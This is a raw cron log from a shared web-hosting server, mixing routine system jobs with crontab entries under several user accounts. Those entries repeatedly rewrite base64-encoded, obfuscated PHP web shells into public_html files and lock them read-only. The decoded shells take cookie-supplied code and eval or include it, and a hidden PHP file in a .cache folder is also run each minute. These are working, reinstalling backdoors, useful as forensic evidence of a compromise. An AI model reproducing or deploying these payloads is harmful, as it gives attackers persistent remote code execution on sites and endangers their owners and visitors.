Mar  2 03:31:01 medusa CROND[27122]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 03:31:01 medusa CROND[27125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:31:01 medusa CROND[27124]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:31:01 medusa CROND[27123]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:31:01 medusa CROND[27126]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 03:31:01 medusa CROND[27128]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:31:01 medusa CROND[27129]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:31:01 medusa CROND[27130]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:31:01 medusa CROND[27127]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:31:01 medusa CROND[27134]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:31:01 medusa CROND[27131]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:31:01 medusa CROND[27136]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:31:01 medusa CROND[27137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:32:01 medusa CROND[14258]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:32:01 medusa CROND[14257]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:32:01 medusa CROND[14259]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:32:01 medusa CROND[14261]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:32:01 medusa CROND[14262]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:32:01 medusa CROND[14264]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 03:32:01 medusa CROND[14266]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:32:01 medusa CROND[14265]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:32:01 medusa CROND[14268]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:32:01 medusa CROND[14269]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:32:01 medusa CROND[14273]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:32:01 medusa CROND[14274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:32:01 medusa CROND[14276]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:33:01 medusa CROND[2219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:33:01 medusa CROND[2221]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
